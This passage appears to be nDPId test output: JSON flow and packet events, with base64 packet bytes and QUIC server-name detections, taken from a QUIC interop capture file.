TTkdBf9XHdyCG0LJ82SE2TMNyUEKoTvtO+s6V45sw4+vLlhHFWzUFy2TDAYLwJNFtU2MgtRT5uCj687n1bMGAYODqCavE72METWdUVuP7KQCk+xmcSAjbR9cQdf0Ld5yf6144baG7pSmrNRAZds9af9ka\/SYB65ZE7zkDGunpr82jyDWS2FNTrKtaVTKmR3FhTiIDLlKPp8T3xukB7\/896wGVPowkyKdVGwn1U7d4smdlgzTqpu88QlyVTsqovLhf+Cl3l01W8nhlUKi7h\/7LgxdSIr\/1gHh5vnSqEyBwm2o1SGij1+TJ05CbhlsZnpgh9DpccxP1I\/Cy1W\/csGNz5P7WukiqEENPTqn7PXD\/3lj2VFKnZ10TEaU4eoOK5Egn7iJWSlbXxC1+uwb2ktJYlIcBWdWgcsSv\/EVRcpOxuacQcBKDfkoJTamdzkoxAEalFWSJMb9d\/CRNa9R8Rgar09wnJqe04d9jL9dUW6cDWYyJSw+MWOP260ZOljLVpA2a1QumvmmIyr8a7jSho4tML+Kc5q0tio8WmChgQRA3uSkUpNwnyEx9DCg96kTZlDeJwu7RwrkaoKlX0GjuohysCaFrtrDI24bZNO8w24oU9Fm+r6MEXXwEQxB0LwQxQFPxdBr0HMioBlCcF10uOji69LTOSZkYvb9+AYrA2jB9gSAJO3UPpzSFaCEJqf9FZw\/TgbQTNNBsw=="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":50,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1603816434659,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2606:4700:10::6816:826","src_port":46353,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"cloudflare-quic.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":51,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1603816434661,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"40.112.191.60","src_port":53791,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02110{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":661281,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAqp9AAEAR4XjAqAGAKHC\/PNIfEVIE7KqIyQoKCgoIcBuNCNTaAX0AAETSsdkQHvJcN7bcF1ORvnbsKUKjlPXY0qQr5k5uOcDOcZrEKpvgL9RbsKleW8ZMaZNBIcnwq2KO7Ra5INHkVKJRC0TkUHMwFXdKdeaESLl2Sccd706kHiSPpX2Lbm+12fv10onPbU6DngslVSwo5iC2jlneokoStHZ4sxg1C5Je9i6sU3G77ZkPXvlXk0NdQQdexNFkb5jV\/JGW0vFPxDe\/qF9kedjCbIxx+p372PhnBv7iEwZ5Yhty+\/qNKY4yyyzUUwAkAmsK2pn5dzcchowy2PxUUm7hjeS7h+ta9tYiPjGP4k1V5zZKY7Q1iEzKbQmeKLLMluT7Ze6EQ\/94FkLhmXXWckZ88YK2QIDTY12s2\/+YoUrmy0fuxliVJc4e7t5KZxll\/xsK3NXnecJzT\/C9JRu8GZI0MGntc6sD+SVMUDoRX5MmL6JI3Lgrth1lbQy1hnltXa2ICmJpXg4UGGlDL1Pjydtfs82r+A5HZhHO8I+yeL60lJGO\/pmXurcvVllxGtQGjKy0Qx8L\/+0\/h97ODK4A9BOM8c5uVRJZi+ae5YWCQBxdqswC\/na2\/hdsvvl7+jK\/hb5lcLu18N2HToRBmI2OttnAnni74F8psk6eNPlA1WXh4QFnhdp7k1TRWG82dah5Np6uhn0FWu8spp+GpOz1PstbpUlg7HUDKDRocRvdo+XzWoapXRLt2rZBMpFM5+qBvFVKX6Ap5vpKqXx1vyTZc7a1PZSOkBPGsuBfMn\/e6CFzZ\/7SKPFuN1FEHhp6qVSfqkNu+E65oEYHbyp1GfsjmuOEnOWm9QuYUWXPMO\/ZpslsQLq28PkTI45zSR3jBaqY+U4cAU8hHI7Y40pZi0OVHAUG3Cp6mgeeNysES80m0WoJn1e6vRigeA1nc\/I4X7I+sPdNk2rBF6nEfBWEHw7MllB3iWKvvfivqsRWGfnLPVIWWdgqIoeFXHZ0RtFAK+dhBCktFzDp\/q6hAfIktX3z+sj5E4pGLpkcvClK3JUCXIBwpBXNz\/Kc9u134cEFWcWfbtjt65orTzu8PxGQYP+2jYE6lnk\/tcEolSkAelGkBK\/fE95QONEIEfiGb2tudRlXWTXRf\/FFFuldF0FdSJr50n\/Ih08O2ebAjk8ljjBC4Vr56KppkjdyyoUri8YzcV36sbFJqSwNQqsETWwcWH3GRqKMaQ+n+GVJUfR2mVE\/e4E852F32tsINiUu9KMW+toNgqOQfW3axNf6JaPFYtyy7MrNLsqhd2DTcip3+w6pKInaMiPiiKc8Fs2riJwto+W7a3bpQaoELeNUhEukCZCq\/FzN9PqVxk6EFWsqUSSSGklINGSbIS8sc+UAhevcQz0048wkjFBmEZFqu5A\/ObrRfWUEjpP8hKYzq9fOtRsoabYuH0GT29NVVZ6mp6+ZCCS2cAvfDT18d5ydh7ws+klcqRStiKM5PnIuDiY9ahp4jcvj\/XCvOWH28khmORKIgTIM5tVtnApY5TcVPqz7Uqmg2PcjSYyRBrJch\/eSfjOrA\/cCMqhxLApIy5m9eIL4iY+YzrKwVPTBJ1t2v4mujsR71BWWVXgie2CQjixGfOz6PTiXloHY0ohyCpxw0Cg0ysy1PcwnMPh+3oGN+0IKbU7LLyLHzUsIyN44wigmXzAl6Q=="} +00728{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":51,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1603816434661,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"40.112.191.60","src_port":53791,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"f5quic.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":52,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1603816434664,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"193.190.10.98","src_port":59515,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02113{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":664905,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUA4mFAAEARxULAqAGAwb4KYuh7EVIE7MZSwQoKCgoIhDOd38iF14kAAETS+DrcKxcR6weCAMpXP0WCjIu9ZBcpWi0OIwLjGToed\/giv9qrtDo9ivnhToDBOwIFut7lx8oGofCTHgF7Bu0VwbCafc3NxbT0fVzbuULC9eYaVRWQHPCUD3HNkinLSEKLzkqEotl3g646wEpRi\/ugoezcuEqO2y6FIB5R6lgny7Nkkc+zMDGl\/vVsq9D4yR\/HW1d+8htwfQLJRpA9hzqrxRXBKybzFVVjhg+KSz67S75CNguDyG4FD4d5JXshyl\/M4INjh32wAMrYFGa8t+2d68fOM2TsdLASGnjmnLNA7\/Pf8UMA6n7BdmW2IJneYpplOs2JDLXzJklKXNuJdllZWQX88VAVkIZdlhRUIxXv\/f7UmxqAgBcsb65UxpALzeD9UOYFX7eXnFX3CBNctLx4OV4vy5qTojgYXWndnvZWDyo9r1nMBp8D6VlFL3WOfCfGoqwqeHusn5C43hBSHrku\/bXz9iJXIhkW2exazvoHN691IPr0B73C3NnmhicLFxNH7FU7WO\/4IL+6sD9DZXTIjSg6oTpPZcbUD6nL7y5Da7hPow3PhI\/sdvRXmbzab8jO1EGiZZHwGfa4q6m9yRM\/TXA5uhhLvU2EfXT91420relOj408ZVI6EUSGceNLMighOPfPAfp0WOhbMCbd98H61M55hJNktUMuazO1d0gcsWhNN7ihq3R6vEE9ycG3wWK4AZXs7o9pNpiOjFyi\/1mC6Ku8u1sBA1oNJJOJnGURm0YtMoufHAuKV2LJVu2OeQAP\/A2\/w5vSvzrQLOGEBdMHP3rIjZlGA4ez8O3T8wl88X4DTz9tphYgqFCKVqs8At9jd7jId653CvC+xEYdEiNG9bQtgVNzXeRz5DgAY\/Rramv\/s0Mz9eqNUZ5kDg4J0SUVs70edYwUxeTQM\/DGMsrfTyMpxJinyaJ+lIbkswjz4fLDe6hTAtCperVOSIVU7PFEEJNopz\/TdPDhB\/\/OU+mjuGnm9dVJqiOBsKq6hwakuMJMeEbqZ4oR6\/2tTEOQMV7c3m8hAgBlfCT+et0oHj0In1XsO41lgeBhcmsxfgpL0+MgrRWpX3hNlmOw2YFL7IPahaVoqqwt+hlD2GAaUYWeZHKQIID8JZod24qH7\/lYJ76jofC+JdWXEJ7R4KLVHjma\/RdasqECMSrg4m7keaHTZDKrBR35ahliIHV+sND3+6E5IN\/2QdoUlOi4\/UYlyycPYl2QrEjCc4E8TPnrA7HhR8cbOqvr2NJUiO3vmvNIk9u905r1d+yKr0KSvjEMW4aoGs1cnkqp7BFwfwUFTFXE57dIo29rq+a60tDyag9gqUpuo7QsXjOi2fVAkTyRGrjCd9eSs5MDoGygOvvn\/yw4ZAA3XpTxroAMLQ9Sj\/92T0qxoDCFA5OG7E8A7GbyiO5B2nEiMAOZpw+5PZXL4BrU03Z37oc83D+zHRg9XCBGkB3eyfyP2\/ya8kSOgnWI5DRzDtrL+axTWaV4naIX3w78wYegwyfuMaorTISN4Ye+UzmrsF4ld5d7Pp68ZmvyPCebtO\/KSElf\/sucwWTuBzbcyui8aFCG0Vq9OlG0\/qaPlP1qL9A8E8F37BOHLRzvh\/sbn8ks0BPPWFNRGNxMVhkFaWjx9NYOtOhnexATQq7v4e\/jeA=="} +00741{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":52,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1603816434664,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"193.190.10.98","src_port":59515,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quicker.edm.uhasselt.be","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00542{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":53,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1603816434670,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:4800:7817:101:be76:4eff:fe04:631d","src_port":49788,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02105{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":670390,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gANDQBNgRQCABCwcKydWupNP+R2kegH0gAUgAeBcBAb52Tv\/+BGMdwnwRUgTYPWHACgoKCggiwZ0u09kvJQAARL77XjijFoQtvpL+zAbPeN0VMZAH77o2Zf3Z\/VxyA9MhcBb1aoo2HyDxw4AGg1rpwYEvZC1KOFbHEvRCy\/7Qr78EUwCK7jfp3PwwAQqSqWeygMwdmPiD9xsvVeM\/Lg3sKV5Yt9sS6nVuVMVaAANebK6ODqzmbz6o3JQ8SCforD0NMCEzwS4zB3SuPu96Zlh707dBA4O8O9hnahrfzpYrma3GTkWvQNZm+MZwybX+ZiPVsaHNWO4eC2QTnSZ5AQr9jvuvVHtv4xtMgtNapGHmqllBavgaXk+UI6hfTQM2FE1B5tGaz6wpXpW9q4R\/XybVurW6TyGaQAE6Rv1VcNFUQkd3osuzBpTRgRd9uQPLk9nYNE1PNSuiR91fTDaJoLkRppS+gpYwkOZenhVm6gOiHF4bfs5ERt4YlwEn2Dp0u5C5nrVVxtfjnYJ5IwT7hUHyh6h9suifUimgbbxzIaysmGlD4k2fx9pmDLHsUHTce4UJVqFY73JtMr6k+yW4T+WXDKoYMXAeEnYYUrI05RCVc4XXpAwD9xw2VGUTFNaUBIeHo7WcMaqEEgdPOnluAhzJsgCW+N8o0F4I+kCQseYCSboaFjLBLNq0zPRus1FaJ\/zpb0BAxHAiXlVn\/igRt26xRMAbTnTk5GPW7C6QEex76kpaaQ7HDdZHqKpOAkSMflF7jIP40HYHAQatrIYPmDQgSWfN880GBmzH9sYEwnjgxWDiL0+toa5E6wd7EQeR8y5+\/Dc5Uzh6tsLpKuR7N9HU++dqYI\/gOtoO809QFWpju+r6P3XwUeBL1ZT0bLR4yPGw3dekRK+qnie3Kqo5b7bYJauiDOWg\/Y4N7gkZK+lB7oklk5ykDxrBCjJgZkBXy3ps5MBGX6YeIhFLnieceXGOD5JF1MA85KdmciDwctd24umJ8IcaHVflsn7+7ZNAlehJDPmcAPO2TlEPY4\/yHOBUFJG7kAZebLJ+uJFdZdWkSaRi1YFo0sxbTkoNNpO6Hu+zAAN0IAy5sYg\/mLzAclK2KdqEZerl\/B5NatrR\/cF5OTxG9p02zemz7BknqKEgbaBN+IFnswhrUXlOTz5kf7R\/m8wKuhLc\/igh6Ij3ng6sR8vbemM2AfCHREP8MbsPro6xc5aF3dAmmWkn13MUXrpl0LTzZdwzZdq7FodGh9dDjxRcZYM1N8++Se9XsHKEp6uPV\/JaA3s2p5q4ZevQE2LX20v4OvqdVF0MMSV+4OZz6eMTL82DKbZc3CST1ORXADs6BAjz6it9rKE2XOBrS5gDnpCiRLCFudHLSBlymJbI0g2CwumFP5vBO4Zn9qFD7JxrpYjBkMOpt21xD\/BtOBNga1EAbpK91wtD+ubtYSnpbhN0OrJGtHIFjpiwh6Xlp1yrbCWvXV5CMDi7VuMCY6X2f\/duWafjiHD8aUvnVKBJpAoeqDFPimiegbb28SnwJ5uYauvYPhvY3ErcbIeR0f\/m1a1DdBjB1WQmp0Fu4clnTkNaqlT5MCeG\/48z1ijZB7ZQmAcaHRGOM2gO6JTlbbBnQAYR\/DVuXyM\/B5q+uHxWP5bTLYV9915QZrJqVKV0Gf0oQ8wUAFGHwVAmWeVHB64hlXfKeooZTyi+7AZWKi3\/lA=="} +00780{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":53,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1603816434670,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:4800:7817:101:be76:4eff:fe04:631d","src_port":49788,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.ogre.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00542{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":54,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1603816434670,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2600:1f18:2310:d230:5103:7d9e:7d75:374f","src_port":46242,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02102{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":670583,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gBxOBBNgRQCABCwcKydWupNP+R2kegH0mAB8YIxDSMFEDfZ59dTdPtKIBuwTYLLrDCgoKCgiO5tu+VRPaUgAARL67x5+yoY3pY0MJItv\/fgrN1Aqjc+LGtbVLhqvz564YTYsK8b+1F2va9jRV8nEV+5OOHqmqaHlOCYYabeXxngu7jBV+i2zDD5mXOeNwP0vYEvtnoouvzEl7eLb5EE0+MuDiJt84m7jpfeD9j3nru+ZcUw2gN2lqFsUahOHFHxiiMRzquZrGDqevIu7WfSfXXUaDgMbSDA6CvWRjCP72DFgLsQ\/11QQP633nQ0SLKipyJqDr4JvqJmirsRRFK4Y2O1d4rwaWvjBQJbZEvrKGBhUisRe4vJCgt83q62hhhVwI+BmOHGZwcH1NeIw9OfXzIkzF9MfEbO7hX8+HXuUKtpvyJorRIV9+dNth0bRPExaC9oZ6eQgb4KnoyGQunWwMuV7XDIWVGPpUovXJ6L3rc7vDqV0O33okP\/XwzTuMfNCRModoaAMilI37jOSGD70L7Ukxtnkod00xzN\/rRqaOySSScNetQaqN\/b8SumEm0AclR2UEqVCZ\/oFDQW3dlFzOPiolM3TYJHmvPtQ07FoMBnxweA07DzM\/nlIehmUnkDIdfazZlo2WaXyT4kUCXiWSLkyBIKG6OPjGqxQRCjx7pyzScO\/zoIapRT5uA7FxkYfHjnUDRA4N+uhKsfgAHpDGOcVNfY46rti9HRBS+MLjtON8leaOxJHim+wQ0EeQlwbDu7H0Zej1LnLoFqMDWvyz+oUpsvxNgc\/S6MeDK9+JJrebwrhDc+tkmOK548PY4XvYXrqaTGIAivVpHbXZ3zU4Se3IsLa2rpf9EZv0u9D4VcFJRqv2B5CpAl42JhgNb9SlY4QjX\/zYb6IVVivP8oR+boam1SbalhEukEzoSf5vlgVVBVsupKLEgg8QJ4aPvxMTspsMlgkwzLYOK4L5ecOdzbax+0i5aGOmAs30VE0cR4zt2Dxp0GDF2dDg\/9qdw\/BFFFjufPPrjL58CEC5anG+0PnjLNiz99f9A5oIivUVqwWvAEBh3kOUatfc99UXPxAS5VMTgfEOgcxECNa+3dG45igyiOYw0SklHmGfzdommYyu2F0JXKQZKPR4P7uTdH4l9rTKALyu5hrveJCLxlBPzHhp5XxWlFHpXE7yqKl6JoqWNO9m4KnOkD1SiE0BK4iBcHTagyf\/j7KuNtCJQUEjQ59\/x7ZF1iPKFPPyQ+DFZfS4ZMMJAdRuce7PfZ2jZfkuletLSo94qexc6EAps2f0\/fcQwBTkA1Pa7cpknrlPE6nDQwDmYjfxjl2FPTHYb04B\/4LG+OuYH1R8tH+E5cKey0fYaMhnlyRtm7l4zhxXh88eVjpaZDsIoW7JAZhBUfEztlZ0AOc8r\/vP+qFhB8f0D7eEfpR8bO8\/EgtwQtTbuBaw0z2uWUEDIaafMNhsQ1f4mmfFO2liKZH6G6GRfv99KKrH35jUxqsjJeBwQM\/EJ113jCKlIApAONDGVtmrUbUM7eAMD4vuRho9kE\/w49GkWM1RjqkESV8QnS5lO0lusZRdgG0jcilTPBNKWvJtuU+BOtxOeZOoU0KAQk0iRVOjpxTJNLkEFDMqLOTl4GP6l1DPyRiUIbC9dxVJliklcqIHHcx9Son3\/0eV4Dlc9XMJzUFYLYDpip1il7dd3MOMzw=="} +00790{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":54,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1603816434670,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2600:1f18:2310:d230:5103:7d9e:7d75:374f","src_port":46242,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"test.privateoctopus.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":55,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1603816434670,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"140.227.52.92","src_port":44619,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02115{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":670588,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUApCJAAEARDmPAqAGAjOM0XK5LEVEE7HYoyAoKCgoIlk3\/sw8\/b8wAAETStyAajltT68+ELYCklsRAAPKAhQKMXFJKXjIBWFRGvhiDbyM2RmA52mTO4kP\/LrjWRFOsZXPJwPYxhAgmyxVp2EaKhvInx5Lw6HoctLCI997uZ1ErbFrvVx2kMNsPbvf0c3KMKg04dEw3CGmIj1nwwAV3TplnDlLA8nGhigvTtzDcOYuThyFe7PNCKGoMhnIJglojVVIsBdMJYdSb90I\/+fQVaZ\/MIgmBIoSGWUE5ZAGntmDgtp0dgmx\/\/p7O+2ApCOoZi2+ZG1i32q4n752EIFh9R1W9\/09HXsuHjyhRiyoUZgqfvLkrSOvdv2ZApV3VMcrOD182D\/IFqwmSJhEKqa3Gz0XQ7x1AhDvKB\/98pdfLJuGPyAwXeMf3RbsjoJ7UbwIjIEtg2aJPV4zFaASkuBedOA0xRnIgegCv4bmWgElYnQC3X2r85hddZMtDhxN4hidUWYN\/uvDzyKGj38LAsQE2LOY\/U4yjUes\/A4X3Db4RMeoGGuaTPx8vHEhWcAZIkak3bdmdfUCKhTRw1Sobn\/0WZO3JeU\/O3LN6aaFNpd44oi+fv1YoqhJLtxNGYHj6lTz\/xWvwh\/5OpWupvnaRJw140wePCUI03nAaDAbvdgZhJxJUM9Ez2imcu\/DPUQxAcI87gwO9rHzyEFTZvBE2fYXUdWQ\/lBLvDIIIlbqrIBwZN4Rm1K7rJEsqaSGAetVKqYqrotg3G0Xv61dakHj\/9j5SGgi\/fc4wYQ4pRjWW7gItXzVqCglacLb3JoibdGgtA9WYGsZizewIUhH3c6imISZ6jCjLrzmXYytkHa2NT60DFmqp\/vbUzMpbFIHZoMMMlZrZErLgQqwcQrIy3BrvnbjZx8ZBklzbGPAwWqCy+HTuUfRLftp\/kFiVk1D\/72KMbyr6s7Bkxhgo4bI7zvMOHUidZ2hdC7UGsUUF\/x5smJeYW4wNdHD5iv58qpr6HaH2Rdza4ULK\/pyl75oX9CDKuX6jrGDlbgHOykS1bvJCTRfYwBjtGXraF58jEQVZJJ6HImPxPLTVvhi1weX0G57pwdQK\/6eBVH95xHZHTJaU4Kw3RS3xIWdjP6LitM0DZwW6TtS3P2G33o2Wkp7Fc9Y1dXTKUMs0nCmH9d7CCnjVWLYi1dhtz+Tta6lf48tU\/Qqf+zHItaHY7LtapxEIIsNEmVNQuXDZMbBZtU9UWcCYPTIXOZsOuWi+KlnlEVjhzxN\/kL7Rx56YZNVto9cOmH\/bByewHjhP8N44u7cip7U0HR+jmMmuxSSFw8RHPveSA9s0JovEVcJmQ19M5ynV7yxMWdfjeOMYtsTVM0tONAfzs92B1HE+34bwQSIOaG8X7No01hV+V\/yj+dryeODPmr1LKIAJ\/MbgypzFmTw29gDvyUBXq+ZwqdS3iCKSfowPes0BSJPSzSUi4Z4dIaBSLQpt9PNBOgH0m+JbP5PlkMRT2nmJjGR3PzvdWiWmCFTAb5JDoyjuyFHdi3lWKONx+lFmzZJwxs+UMErRJBVTz8V6tf9wiTJCTFmYGF4UgB\/CTJx3DI6wbo9X53d0S0QTy3dGXJZO\/H8qOsGI8aNw1qzLXLU6KpohKtMy7TWM8yk8onvWWarA524pLpTHLJknBb\/q73gznwGfXGsA9dvY+vw8XuLELA=="} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":55,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1603816434670,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"140.227.52.92","src_port":44619,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.examp1e.net","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +02098{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":674356,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAc6RAAEARGHTAqAGAKHC\/PLXwEVEE7EM\/ywoKCgoIUh1YuhDqcyAAAETSyJu8rPDcY2Zmg9uhZvVGBSUtVHXbCogcrtjHkIZvyHG+oeQ7FMn5l9+yu4riTWt9G4+IRLvodWF\/OJuoo6CqqAN5qJoCM2wclVmCRhZ0yQpnR39UyeNNZNj55s0biH2qmAqdK7slUkz7cGbucaEPgYcjaZ1qoQwZ3r+tJVP2\/OosjKKgI3ssy6b8rBby+2gKA6tqrWlo4j913jt0V5Myxk6\/qG4m7XLGNhI+nqBnhUE9EJwSRwQbLcrG1YPxrCPYFKhaONrMEZrfUQUokRl+FtZYxnK7kRHiDzvfmlVCIPnCHsK+5SDQIbVAkCmMUWxjZ3bcH0rMAJZjsUd13Mp827NwaPY1eDE4xURESo0uH3LaTB+cGxcmZiI1vjnmW5fkVYKNgRSg0LQtDAGzCxaf9M30heOBY4ij6gT6HUWwVg+\/JFFdRax7wIj+qnGHaTs+tirGGEnbomoy1juUgYZn3ol7W9gFpvOFFGfsT9glqttgJXgMLwaC66I5aigEznfj7F8whFTNHLDojz+A60t6JiMTNVJkEgkdgm3rvpiMCW15t6bApORRa5kVOHruRwVYI10UY7IsHOt